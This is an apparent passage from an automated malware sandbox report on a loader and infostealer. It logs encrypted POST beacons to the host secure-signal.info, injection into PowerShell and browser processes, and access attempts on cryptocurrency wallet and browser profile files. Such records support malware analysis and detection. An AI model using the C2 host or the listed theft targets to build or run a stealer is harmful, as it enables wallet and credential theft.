:27:3e:4a:c7:43:63:21:7f:9c:42:18:d8:fe:40:5a:85:54:73:30:fb:49:32:4a:4e:70:4e:2e:25:f3:9d:8a:b6:e5:28:a6:78:3d:93:df:ee:23:d5:4c:2b:c7:e2:a9:69:c3:aa:e2:6a:1e:7a:93:8c:2d:a6:05:09:82:34:d9:bb:aa:f0:42:dc:bb:3c:1f:5b:1f:15:bb:de:d5:bd:f0:78:a0:9f:b3:89:8a:52:e3:92:3f:cd:d9:57:9c:94:70:5c:8e:12:f1:ad:e1:88:4a:2d:59:d5:ca:a2:45:58:49:89:b3:8a:87:76:29:54:ae:15:c6:9c:75:56:18:df:a1:6d:fa:44:3f:5c:e5:81:8b:ec:29:4a:23:3e:27:71:df:a5:58:1b:d3:e8:04:74:9a:57:0c:d0:c3:f0:3a:e2:a8:5b:5f:f6:ed:23:bc:e3:b6:75:78:fc:53:de:c9:c4:72:04:89:f5:d2:f9:98:5f:3a:63:d8:83:69:eb:e5:9b:e3:8f:e1:64:63:1f:ea:52:5e:73:77:93:4d:04:df:02:2a:91:0c:11:79:b4:48:72:d9:13:f2:aa:38:86:31:b0:6e:6b:6c:7b:5a:34:67:bb:d6:5f:56:ad:27:ed:a6:79:fb:32:e9:e7:7d:25:30:e5:bd:86:85:77:87:59:60:e9:ea:a2:ca:8d:44:08:8d:ef:06:7b:ec:2c:56:72:e8:19:17:24:41:4a:97:6d:b5:ef:aa:62:a8:88:c8:59:47:19:ac:f3:0d:d6:71:81:7d:07:46:fd:47:3d:f0:ca:5d:1d:23:0f:5f:44:bb:d3:8e:11:44:5a:61:ab:72:8e:8e:6b:a6:b1:06:57:79:bf:24:09:f6:25:5f:d6:55:0e:36:a0:c4:9e:cb:c8:88:37:c3:dd:8a:52:f1:c5:49:12:04:e0:37:06:3a:5d:c6:19:75:df:a9:9c:ec:af:b7:d4:ec:eb:27:c1:23:14:f3:11:89:96:5d:fe:4d:e0:c7:ba:7f:5c:72:5e:b4:09:cd:4a:0f:37:96:4a:8c:fc:7d:cc:a6:f8:7a:81:e3:85:0b:e2:f9:6f:80:01:f5:92:a0:30:fb:a4:83:79:50:8c:72:cd:04:56:bd:8e:d1:38:31:1e:c2:c7:a6:e1:c6:fa:63:d0:68:94:4c:be:51:6f:73:de:a2:dc:a0:5c:1f:29:21:28:f5:e2:06:17:07:eb:66:96:5d:06:94:58:d4:26:13:53:98:61:81:4d:c2:b1:00:a0:6f:cc:e3:e4:ed:6b:f9:d7:f4:08:27:c0:45:a1:8e:b0:ed:a9:83:f7:bc:3b:c0:2b:49:61:7d:14:94:ca:91:a8:44:e0:40:81:4a:3f:6b:c7:99:74:d3:2f:c1:af:3f:b5:3f:bd:19:4c:3c:9f:e0:93:b8:57:03:ba:a7:65:d8:e7:1b:d3:27:fa:6a:a2:de:9d:93:31:ab:06:fc:a7:62:07:ed:89:26:65:0f:20:21:e5:d3:92:77:2f:50:c9:6e:33:19:29:27:ba:01:85:90:7f:a5:fc:6d:a1:5b:72:e9:4d:91:88:39:21:34:07:fd:45:5a:f7:16:b1:f0:48:4a:0e:ba:b9:a3:ad:d1:2d:3d:8b:42:e5:3f:14:0a:dc:6c:ae:81:b4:8e:24:dc:dd:15:5e:2b:cb:ad:24:c4:38:92:c9:0b:56:48:c4:36:24:0a:26:66:ff:44:ea:9b:1c:2e:d1:0f:8c:3a:27:0e:7e:6c:71:bc:5f:ed:60:cc:58:08:ef:59:1c:92:f7:36:c3:98:ce:02:ed:b8:b7:36:b5:2d:70:af:31:40:dd:0c:cd:ed:89:95:d2:27:97:78:c8:82:83:12:49:2e:f4:56:c2:23:79:45:b5:48:e8:03:b6:e9:3b:35:5b:ea:d1:c9:90:6f:f8:31:f8:48:f8:23:c3:06:22:69:4f:28:52:f5:d7:91:27:5a:ac:3d:6d:b7:05:32:f8:f6:dd:f2:d5:d4:ef:58:14:df:18:05:df:45:fa:1e:db:76:06:31:65:b9:f5:c3:19:28:9a:a1:bb:b6:75:03:65:6d:42:ab:75:05:46:9a:89:c2:61:6f:8e:ed:b8:d6:11:44:36:40:42:e8:b9:8b:97:5c:72:c7:91:74:5b:23:18:f5:b6:2f:64:61:2c:5d:dc:f2:8b:b3:85:6c:c3:45:15:8f:fc:ca:f0:0e:ba:37:86:74:89:5a:83:eb:4d:2d:51:1e:78:bf:5f:a0:31:ea:a5:27:46:e2:75:9e:cb:dd:14:ed:a6:3c:80:18:c7:72:b2:0d:fb:c1:10:a0:f3:44:29:0e:68:3f:74:9f:a2:11:eb:4b:67:b5:28:9f:d7:c5:22:04:13:ee:6b:f8:64:35:10:76:19:f2:99:83:8f:4b:98:36:4e:5a:a0:c5:5a:04:0c:1f:ef:5c:fb:69:14:f8:62:71:7a:3a:5d:39:a3:91:39:0c:53:0a:9c:b2:f4:1f:00:07:1a:cb:dc:df:7e:4e:52:83:dc:72:c1:e4:43:32:26:2e:bf:93:4e:76:7f:91:ef:26:f6:35:38:8f:1d:1f:81:c7:4c:2a:9b:7c:8d:cd:b1:21:01:18:3f:c9:95:d9:91:e6:e6:92:39:a0:0e:4a:e9:eb:67:a8:2b:2e:c7:c0:31:a3:bb:08:82:7c:02:c4:c6:a3:43:0b:e3:c4:1d:11:16:5b:73:c4:94:2a:6c:72:b4:2a:76:9b:38:99:0a:49:61:e9:5a:e4:f4:97:57:08:90:16:23:89:82:a7:0d:39:fc:d8:55:ec:54:a6:c2:bd:b1:f3:9d:6f:21:33:95:90:b4:7a:30:80:c2:2c:5d:e9:98:a7:c4:a5:63:80:20:01:c7:60:0b:91:5a:f4:77:34:f0:cc:8a:45:1c:9c:cc:b9:04:d3:40:82:28:3d:2d:f5:72:65:ec:98:b3:9c:da:98:fd:a0:c5:ab:b5:82:f5:e4:56:d5:84:f5:17:ff:c8:2c:3a:fb:5e:1b:f6:23:5b:57:be:cb:a8:cd:c1:71:b6:00:0f:84:fc:20:cb:7b:b1:8c:cf:3c:2a:9a:91:04:31:d0:b3:af:9e:6f:d0:0f:83:04:31:3e:f5:6d:e8:c7:c7:9b:0f:57:7f:50:c8:b8:14:66:95:2c:64:c5:37:6f:02:06:89:3a:25:05:99:a1:eb:36:7b:7d:7d:86:40:87:db:d2:d5:d3:15:4f:6b:18:dd:bf:6c:5e:e1:11:35:a6:3e:b5:e4:1e:dc:78:5b:a1:09:02:d5:7e:c6:02:60:0c:cc:78:f8:20:35:75:db:f2:f9:d9:c0:f3:7d:8b:38:b2:c8:bf:a4:a6:a7:5a:e3:ee:aa:91:52:58:f0:2f:90:f1:f7:4c:da:2f:4a:fb:45:56:39:73:97:0a:4e:db:fa:41:b3:4d:b4:48:58:16:ba:75:cd:fc:3a:5a:ec:35:40:3e:89:2c:42:69:6b:cd:77:90:fc:5a:ce:57:8c:2b:1c:15:90:76:8b:fc:9f:28:cb:a4:cf:d7:b8:ce:e1:9f:b2:f9:30:9d:12:18:12:a1:f0:a0:80:14:46:bc:94:9e:eb:5f:23:2c:d7:30:5f:79:d0:20:a9:8d:c2:49:05:4d:74:f2:c5:36:2c:39:32:8e:91:5f:dc:32:8f:ab:d2:06:8e:72:20:6d:ab:ee:06:5c:c3:52:c8:43:11:f0:93:3e:fd:3a:95:c4:10:82:9c:75:86:ff:c6:2c:70:f0:ea:7b:99:da:ba:5b:bd:9d:4d:b4:ed:84:69:fa:00:d1:81:19:87:fa:04:61:28:c8:fb:6f:42:cf:11:d2:17:01:3c:b2:03:d3:92:8d:07:c0:ff:3a:b8:38:37:66:56:42:ff:b4:99:60:f9:b2:f2:6e:4a:6d:1d:fe:e4:62:0c:df:7b:4c:67:cc:84:25:3f:75:6d:bc:be:0e:19:f3:c7:8e:41:2f:29:4e:49:f9:d9:b4:9f:2c:40:9d:1c:1e:28:f4:7d:bd:7a:a0:f9:0f:09:4a:b8:8a:6d:db:99:c0:67:5d:80:59:db:f6:fa:0c:91:74:ea:c5:74:50:ae:52:10:11:7e:9c:d0:b5:00:5a:41:2a:e9:b9:87:8e:d1:09:d3:23:ac:c8:06:cc:7f:42:18:ea:9e:9a:3a:a2:6a:b4:eb:d1:d3:a6:de:cf:ea:30:52:fc:4f:06:f0:0f:22:8f:ef:cf:1c:e2:16:57:07:c4:b0:a4:3b:2f:c0:9d:ce:d2:c4:2a:eb:53:51:a3:69:f4:cc:a1:b9:63:8b:44:08:a8:79:61:6a:31:62:67:46:46:04:68:57:f9:24:8a:5c:28:5c:c1:fb:b5:d1:d0:25:f5:d9:0a:45:10:7a:e0:75:7b:03:b2:b2:1b:8e:9f:03:24:bd:e8:0d:f1:74:f7:65:7d:3b:87:3c:a1:28:0c:0c:22:e1:1a:51:3c:f6:99:cf:8c:bb:af:66:1e:1a:8e:85:4a:46:7d:a3:fd:58:db:33:75:58:1f:2b:3b:64:59:e5:dc:e5:eb:94:43:dc:49:c0:cf:e2:c5:0f:29:53:b1:22:03:99:bd:ac:a8:cb:fe:a9:31:d3:d1:e6:bd:83:bf:5d:18:50:d2:e3:7c:91:3b:74:0e:67:a7:3f:f6:92:e7:49:6d:4d:3e:4e:b8:30:10:83:37:e6:4e:09:5a:d4:95:0b:b7:d4:6b:59:ac:66:b0:7a:d6:38:7e:0f:69:5a:8b:91:ed:e3:ea:21:40:a2:0e:47:5f:0c:41:cb:96:bf:cb:df:29:31:b3:d3:84:87:27:83:9f:10:40:99:b7:ca:dc:e7:c2:96:33:51:f3:5b:df:aa:79:c0:df:7e:32:cf:94:c0:fd:4d:7d:64:cd:b0:3e:d8:65:c2:4c:8f:d3:a9:91:a8:89:32:d9:35:fc:ec:19:9c:8b:07:21:b4:5e:fd:4a:c5:ff:34:22:22:10:f0:0b:70:95:6b:4f:c6:10:13:75:ae:3e:d9:57:b8:78:35:6f:ed:2f:dc:0d:7f:89:37:33:89:f5:47:e0:d2:49:5d:37:7f:a0:c2:da:b7:6b:a8:d8:67:3c:27:1b:5f:e2:75:47:04:ef:31:d8:d6:4e:62:29:94:61:70:3b:c3:d7:ec:71:3f:09:4a:59:88:f6:ab:cd:8e:ce:cf:e9:7d:d2:c4:3f:c0:ac:cd:4a:1b:53:39:32:ec:54:72:08:47:5b:2d:81:57:d8:1c:ed:97:e9:c5:0c:d5:3d:9e:e0:66:21:83:6c:e6:42:84:17:03:34:4d:b4:08:a9:72:5e:3f:46:9d:e9:da:da:72:91:20:ba:20:e6:85:79:01:21:71:96:16:f4:4c:09:9d:40:45:4f:cb:25:e0:97:49:14:23:a8:6a:4e:b4:5f:af:7a:78:8b:f0:38:53:b8:4c:aa:22:08:d0:85:80:ad:43:57:24:a4:3b:3b:1a:f5:c0:61:17:cf:0c:2c:c9:a5:8e:1c:81:04:b3:c3:c7:b4:a0:8b:53:99:a1:63:7a:cb:2c:2e:22:63:38:c9:c5:5c:8e:1e:bb:f8:f1:22:5e:0f:72:69:8c:ba:1d:0e:2e:2a:cc:c2:2a:29:3b:80:96:6d:5d:0e:c7:2a:e9:dd:ab:5b:a1:d8:7e:af:61:53:24:7d:1b:87:3e:77:c1:a4:89:60:f7:78:6e:d7:de:e3:75:d6:8c:7e:98:cd:a6:a1:0c:9b:34:3d:2e:70:2e:0a:6d:3e:81:f9:fd:60:ec:a8:ca:f1:b6:67:0a:82:b5:08:91:ef:39:4d:9b:ed:e6:6a:b9:35:db:39:15:75:f6:34:53:2e:c9:03:cd:c2:ab:80:bd:e4:ad:68:25:a2:b6:75:5c:82:c6:f9:d6:df:7d:50:c1:d2:66:ac:e2:77:1d:56:35:e2:05:70:b4:58:00:78:df:f8:f5:32:05:72:22:60:c1:88:cc:79:92:cd:d3:6f:fb:99:19:bc:5a:c5:52:c0:62:cb:af:1d:11:cf:54:12:28:ad:46:a1:12:d6:44:63:15:cf:18:e7:66:4c:01:e5:c7:86:24:e4:5d:b0:63:f1:3c:4b:12:58:61:56:fb:d1:38:f3:bb:d2:60:34:15:6a:be:bc:53:a0:e1:dc:c4:20:74:58:0c:5f:6a:ec:3f:b0:74:4a:9c:dd:80:7c:d6:02:48:0f:13:dc:8c:91:43:32:4b:fd:a7:b6:37:99:b9:c7:8e:51:bd:d4:81:3c:3c:32:67:28:29:e3:73:76:00:d0:3d:f8:85:a8:6c:90:1d:29:c8:08:d9:a1:67:c9:43:d8:ac:e3:24:8b:7b:3a:8c:43:f4:d2:46:91:62:00:4a:18:80:7e:b0:6e:97:bf:a1:2e:dd:23:e1:2c:de:fd:cb:bc:8d:e0:e2:43:3d:7d:71:ab:58:fa:39:10:a2:e6:1f:54:a3:d9:27:18:2a:ac:28:87:c1:1d:56:b9:a3:86:ca:e4:78:d3:d1:2d:8f:e5:6a:e5:bd:1e:d6:87:d0:81:c6:da:22:b2:d3:10:f3:2b:34:d4:90:3a:3e:e8:a3:e5:07:59:4b:c4:69:c2:ff:10:95:49:5c:d6:c8:45:51:9b:e5:fd:d7:54:1f:fb:a3:44:08:61:3a:2f:3f:46:67:e4:c6:43:45:2f:62:3a:f9:53:81:25:77:c7:0c:48:14:35:be:b5:44:e8:9a:2f:bd:e6:68:80:2a:59:19:d7:55:a6:fc:20:e5:64:43:82:5a:f2:d0:86:86:2f:9d:7b:bc:d3:2e:53:1b:41:b6:02:3a:82:3b:d1:46:8c:1d:90:04:90:df:e4:4f:38:06:49:e2:57:32:1d:6c:04:b8:bc:88:7e:87:7c:ae:d8:7d:78:af:a8:85:50:32:e8:9b:15:9d:45:19:e5:dc:a8:df:98:31:49:a9:dd:c1:4c:d1:2a:0a:1c:2c:6b:9b:e8:47:e6:d3:74:5c:b4:0b:5f:f8:5f:0f:e9:d5:97:fc:9c:8f:6e:80:59:08:5a:3e:44:dd:d4:9e:dd:7b:68:ee:fa:61:b6:49:76:80:b6:f9:1a:71:fd:37:3e:4c:42:81:83:50:f6:13:d9:8d:e5:79:57:48:89:80:e9:ef:7c:42:f3:ba:04:2c:01:6f:4b:5c:e1:01:b2:a9:7c:39:0f:d0:4b:d5:06:c3:2e:a3:45:df:20:35:bf:3c:8d:c6:bd:1a:df:23:49:2a:d8:1d:65:11:88:1a:c9:81:71:90:1d:01:7c:b7:71:29:01:79:1e:e1:20:49:15:14:de:ae:1d:d3:d0:49:77:d5:b9:12:69:d5:08:a7:89:13:e7:fc:b5:77:e5:98:0c:49:a6:96:a1:2e:77:10:c3:10:98:1c:4f:20:30:ae:8c:a5:e0:c8:a2:26:29:f7:56:07:83:dc:3c:fb:d2:00:7f:15:f0:67:1b:fa:18:bb:ae:54" HTTP/1.1 200 OK Date: Sun 04 Jan 2026 17:51:31 GMT Transfer-Encoding: chunked Connection: close Server: cloudflare Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=OGhXthQDN4OfBjSftEDbhhCkoiNXbacsSZIJ142oRPQkcG4DmfFV1TUalgK9RuxiSfYReJ51wPIMWVF0FAInFMOiI9ZJaye3W6oSttloXtl7Pg%3D%3D"}]} CF-RAY: 9b8c959ea82a26ae-SJC alt-svc: h3=":443"; ma=86400 with response body ==>34663A3462....... "POST / HTTP/1.1 Connection: Close Accept: */* Content-Length: 896 Host: secure-signal.info" with payload::==> "7c:03:00:00:e3:d6:a4:1d:13:91:6f:a5:22:c1:21:24:79:9e:e6:4a:50:ab:60:89:91:36:8f:78:87:9d:26:ee:e1:76:34:6d:7b:85:66:eb:e6:a3:49:f5:51:a4:a7:04:1c:a5:63:4d:e0:4c:db:ac:17:e4:4d:99:41:09:dd:b5:85:e6:f1:90:4e:97:d9:c1:8c:1e:0a:80:43:a9:32:18:96:2d:79:80:8d:89:d1:55:c8:a6:67:48:d2:39:96:e1:96:3d:cd:b9:19:c6:3c:26:e3:9c:a0:55:ae:8c:c8:a8:c2:aa:be:35:ad:36:83:64:e9:55:af:55:dd:00:7c:f7:99:21:82:e4:30:03:f6:29:3d:1f:02:05:ff:75:04:0f:e7:f1:93:f5:59:c5:8c:17:49:69:34:c9:fb:c0:16:5e:0d:9b:cd:ba:6c:00:8f:fd:c2:f0:0d:21:91:1b:bd:0f:f3:5b:7f:35:9f:15:9a:25:c7:3b:c9:1d:68:7f:9f:ea:10:3c:14:66:92:3f:03:5a:17:00:d7:ed:3e:b7:b9:9c:85:f5:5b:4b:5c:14:f3:eb:39:93:d8:f9:33:66:c9:82:c3:37:8f:69:25:a8:40:f6:13:c1:79:5f:1f:51:3d:48:66:e5:d8:60:7b:4d:0b:06:a1:3b:0d:10:b8:7f:d2:03:5e:a1:8e:a1:b7:d9:07:03:89:f0:5c:67:1f:68:44:73:42:9a:fe:9a:c7:00:9d:1c:8b:f2:42:92:77:56:12:66:a8:6f:af:f5:3f:4f:45:24:f7:00:e4:21:d6:10:04:94:dc:ba:61:52:37:21:59:5f:f8:fd:7d:d3:76:b3:72:19:ef:c8:47:cb:b9:1d:ed:39:ab:1d:43:d3:15:e4:f0:dc:92:d6:be:ec:86:d6:85:c2:30:bd:fb:da:13:a6:7e:f1:12:f1:6c:c8:04:00:ed:4d:d2:04:47:e4:fd:05:a8:ab:79:7a:1d:a2:69:93:40:c6:d7:b9:73:bf:6f:84:63:6d:7c:97:09:86:bd:87:66:93:13:1f:31:c5:88:ab:05:c0:d3:44:2c:ed:35:ac:2b:1e:2b:3f:35:19:dd:1a:47:29:6f:12:83:c8:fc:42:a2:d2:b3:9f:f2:eb:cc:35:0c:9f:4c:0e:aa:46:ca:e8:52:2a:d5:be:78:71:f0:cb:c8:9a:5f:4f:da:25:2f:3b:ed:05:4d:2d:14:43:db:1f:16:cf:b9:00:73:e2:a8:f4:b7:2e:22:43:cd:71:92:5c:c0:f3:3f:d6:56:d8:8f:a4:27:99:d5:32:e1:cd:a9:97:3c:15:98:26:cb:8c:72:bd:5e:1b:62:4d:28:cb:c6:9a:58:da:28:9e:3e:dd:30:64:e5:6f:88:8a:01:82:b6:15:00:57:26:ab:f0:d2:b9:fe:25:c2:58:40:f3:0e:75:2f:b6:75:fd:ec:98:8f:3e:1a:03:73:72:8c:47:80:6a:2e:a4:70:a9:67:eb:ed:e8:8d:f1:16:08:4d:50:9a:17:ba:b8:e0:c8:14:6b:8e:67:73:04:61:ad:52:a4:bf:bc:0c:96:4a:bf:7c:f3:cf:fb:26:fe:c9:dc:5b:ff:10:8f:a0:9a:fe:e3:7f:ee:50:08:ca:74:17:88:8e:f1:c0:35:6f:56:7e:79:6c:6b:2e:55:89:dd:0f:7b:62:2d:ff:ba:53:2f:01:93:3b:bc:0f:13:c5:2b:e7:3f:c3:fa:c4:40:af:62:1b:63:cb:c0:d3:e1:3c:78:96:ea:e9:7d:07:79:91:bb:fc:8e:9d:58:c9:00:ed:85:22:ac:78:30:31:4d:5c:98:de:c0:b4:65:20:e2:bd:8c:04:39:33:56:29:67:59:95:c2:09:c4:b5:6c:84:6e:11:09:46:82:63:ac:d2:ca:2e:d2:4c:6a:ed:8f:e7:d1:b6:83:83:4b:d3:d9:ea:43:f5:1a:13:53:e4:99:3c:d4:e3:ad:fe:eb:9e:63:71:a0:69:9b:94:ed:31:fe:ba:0d:f6:f0:1f:12:41:92:7d:7b:ba:bf:f3:b3:3a:3d:23:05:df:ae:cf:e0:88:d1:e0:65:52:f5:cb:e0:c5:3e:ab:47:0f:67:6a:2b:b3:92:6a:90:11:cf:b1:8f:4b:34:d3:d6:af:d4:c4:56:fc:97:81:48:41:8c:e2:c0:51:8b:c4:48:16:54:0b:bf:92:bd:ef:44:43:01:60:ae:7b:38:f6:8c:85:6a:44:0d:1b:26:da:d8:fe:6a:b2:3d:5b:5a:8e:36:6b:cd:d7:8b:f7:0a:09:7a:73:5d:d3:47:25:44:62:4a:8f:67:21:01:c4:bc:f1:51:98:f0:56:2d:67:c9:a2:55:88:03:8d:c4:09:25:19:a9:65:51" HTTP/1.1 200 OK Date: Sun 04 Jan 2026 17:51:31 GMT Transfer-Encoding: chunked Connection: close Server: cloudflare Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=b2rjZLyRB2lPpGjKRNZ5zQBwrSvzwVtADxDwPO8ctbBRAJpFlN56k3lxYavm9ci06knHo%2BqwNrP7iWvPA6fWfBYimk7gNsk19NeTR9r%2FJWMk6A%3D%3D"}]} CF-RAY: 9b8c959ead90d8c2-SJC alt-svc: h3=":443"; ma=86400 with response body ==>34663A3462....... "POST / HTTP/1.1 Connection: Close Accept: */* Content-Length: 272 Host: secure-signal.info" with payload::==> "0c:01:00:00:e3:d6:a4:1d:13:91:6f:a5:22:c1:21:24:88:cc:33:df:d2:4a:d9:3a:84:37:85:3d:63:96:02:3a:e4:88:f8:44:00:26:f5:f8:d3:3c:91:f5:f4:50:32:f1:6a:fa:7d:fc:ea:b9:90:14:68:3b:2f:64:fa:8c:ce:1c:03:2b:b4:f2:02:0c:a1:83:e8:ab:2f:cf:13:3c:64:6d:a4:3c:23:81:86:e9:4e:3c:b1:93:ca:10:be:41:d1:82:c2:45:20:ad:18:73:9e:f4:c3:9c:50:f2:f9:30:d9:81:1e:d3:86:99:9a:a1:32:28:f8:ff:72:fa:7c:3c:4f:56:c8:c2:18:e5:57:2a:a4:b1:35:17:69:ec:55:7e:8e:82:6a:04:02:c5:db:d5:ea:b8:57:c3:3c:9e:45:2d:1f:7b:a4:94:bb:e8:5d:b8:5d:7a:c0:79:77:3e:d9:e7:0b:d9:43:51:67:ca:8b:9a:f3:87:f2:6f:9b:fd:4a:fc:7d:e8:c6:cb:bc:ef:47:58:df:e8:82:c5:a5:44:b0:a2:29:f9:58:e6:a7:38:80:bf:83:9a:2b:06:bd:ee:a8:e8:9b:6d:55:06:a5:d5:82:af:42:b9:b3:62:a7:44:0b:f1:40:5e:6e:8f:14:b7:5a:e5:0d:dd:79:bf:19:a3:4b:ec:2d:a8:a9:cf:dd:fe:96:d1:21:c5:5a:ee:21:32:a3:b1:ae:2b" HTTP/1.1 200 OK Date: Sun 04 Jan 2026 17:51:31 GMT Transfer-Encoding: chunked Connection: close Server: cloudflare Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=fDTFKKMJu9WRtX51J%2FaDeChdY%2BL0SzpIQtKsYMYHHBcleOtzr5uTYDJVRljOwr%2Bp8y1psr4xJH%2FV%2F%2BhWHMFL1Wp2MPhYk83Bps4egoAYCV40XQ%3D%3D"}]} CF-RAY: 9b8c959eae682734-SJC alt-svc: h3=":443"; ma=86400 with response body ==>34663A3462.......5e:T868,"Loader.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 652) "Loader.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 652) "Loader.exe" wrote 000011C0 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\806964ff31e2acc80.exe" (Handle: 1376) "Loader.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\806964ff31e2acc80.exe" (Handle: 1376) "806964ff31e2acc80.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 596) "806964ff31e2acc80.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 596) "806964ff31e2acc80.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 624) "806964ff31e2acc80.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 624) "806964ff31e2acc80.exe" wrote 000011C0 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" (Handle: 612) "806964ff31e2acc80.exe" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" (Handle: 612) "806964ff31e2acc80.exe" wrote 000011C0 bytes to a remote process "C:\Program Files\Google\Chrome\Application\chrome.exe" (Handle: 612) "806964ff31e2acc80.exe" wrote 00000008 bytes to a remote process "C:\Program Files\Google\Chrome\Application\chrome.exe" (Handle: 612) "806964ff31e2acc80.exe" wrote 000011C0 bytes to a remote process "C:\Program Files\Mozilla Firefox\firefox.exe" (Handle: 612) "806964ff31e2acc80.exe" wrote 00000008 bytes to a remote process "C:\Program Files\Mozilla Firefox\firefox.exe" (Handle: 612) "powershell.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 2548) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 2548)5f:T494,"806964ff31e2acc80.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\atomic\Local Storage\leveldb" "806964ff31e2acc80.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Electrum\wallets" "806964ff31e2acc80.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Ethereum\keystore" "806964ff31e2acc80.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Exodus\exodus.wallet" "806964ff31e2acc80.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb" "806964ff31e2acc80.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Guarda\Local storage\leveldb" "806964ff31e2acc80.exe" trying to touch file "%APPDATA%\atomic\Local Storage\leveldb" "806964ff31e2acc80.exe" trying to touch file "%APPDATA%\Electrum\wallets" "806964ff31e2acc80.exe" trying to touch file "%APPDATA%\Ethereum\keystore" "806964ff31e2acc80.exe" trying to touch file "%APPDATA%\Exodus\exodus.wallet" "806964ff31e2acc80.exe" trying to touch file "%APPDATA%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb" "806964ff31e2acc80.exe" trying to touch file "%APPDATA%\Guarda\Local storage\leveldb"60:T1ba2,"806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Chromium\User Data" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Chromium\User Data\_side_profiles" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\360Browser\Browser\User Data" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\360Browser\Browser\User Data\_side_profiles" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\AutofillStates\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ClientSidePhishing\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crowd Deny\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FileTypePolicies\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\First Run" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db-journal" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GrShaderCache\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\hyphen-data\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Browser" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Version" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\MediaFoundationWidevineCdm\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\MEIPreload\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Module Info Cache" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel\Local Extension Settings" "806964ff31e2acc80.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OptimizationHints\Local Extension Settings" "806964ff31e2acc80.exe" trying to 